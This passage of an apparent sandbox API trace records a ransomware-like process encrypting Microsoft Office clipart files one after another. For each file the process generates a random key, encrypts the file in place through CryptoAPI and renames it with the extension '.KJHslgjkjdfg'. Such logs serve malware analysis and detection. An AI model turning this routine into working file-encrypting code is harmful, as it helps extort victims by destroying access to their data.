pdwDataLen=0x29df258*=0x40) returned 1 [0190.133] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.133] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.133] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.133] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.133] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.133] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.133] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.133] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.133] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c0a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c0a, lpOverlapped=0x0) returned 1 [0190.134] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c10) returned 1 [0190.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.134] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c10, lpOverlapped=0x0) returned 1 [0190.135] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.135] SetEndOfFile (hFile=0x130) returned 1 [0190.138] GetProcessHeap () returned 0x990000 [0190.138] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.138] GetProcessHeap () returned 0x990000 [0190.138] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.kjhslgjkjdfg")) returned 1 [0190.139] CloseHandle (hObject=0x130) returned 1 [0190.139] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0190.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.140] GetProcessHeap () returned 0x990000 [0190.140] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.140] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.141] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.143] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.143] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.143] GetProcessHeap () returned 0x990000 [0190.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.143] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.143] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.143] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.143] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.143] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.143] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.143] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.144] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.144] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x486, lpOverlapped=0x0) returned 1 [0190.144] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x490, dwBufLen=0x490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x490) returned 1 [0190.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.144] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x490, lpOverlapped=0x0) returned 1 [0190.144] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.144] SetEndOfFile (hFile=0x130) returned 1 [0190.147] GetProcessHeap () returned 0x990000 [0190.147] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.147] GetProcessHeap () returned 0x990000 [0190.147] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.kjhslgjkjdfg")) returned 1 [0190.148] CloseHandle (hObject=0x130) returned 1 [0190.148] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0190.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.150] GetProcessHeap () returned 0x990000 [0190.150] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.150] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.150] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.204] GetProcessHeap () returned 0x990000 [0190.204] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.204] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.204] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.204] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.204] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.205] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.205] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.205] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.205] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.205] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x318, lpOverlapped=0x0) returned 1 [0190.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x320, dwBufLen=0x320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x320) returned 1 [0190.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.205] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x320, lpOverlapped=0x0) returned 1 [0190.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.205] SetEndOfFile (hFile=0x130) returned 1 [0190.208] GetProcessHeap () returned 0x990000 [0190.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.208] GetProcessHeap () returned 0x990000 [0190.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.kjhslgjkjdfg")) returned 1 [0190.209] CloseHandle (hObject=0x130) returned 1 [0190.210] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0190.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.210] GetProcessHeap () returned 0x990000 [0190.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.210] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.211] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.222] GetProcessHeap () returned 0x990000 [0190.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.223] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.223] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.223] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.223] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.224] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x432, lpOverlapped=0x0) returned 1 [0190.224] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x440, dwBufLen=0x440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x440) returned 1 [0190.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.224] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x440, lpOverlapped=0x0) returned 1 [0190.224] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.224] SetEndOfFile (hFile=0x130) returned 1 [0190.227] GetProcessHeap () returned 0x990000 [0190.227] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.227] GetProcessHeap () returned 0x990000 [0190.227] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.kjhslgjkjdfg")) returned 1 [0190.228] CloseHandle (hObject=0x130) returned 1 [0190.228] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0190.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.229] GetProcessHeap () returned 0x990000 [0190.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.232] GetProcessHeap () returned 0x990000 [0190.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.232] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.232] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.232] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.232] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.232] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, 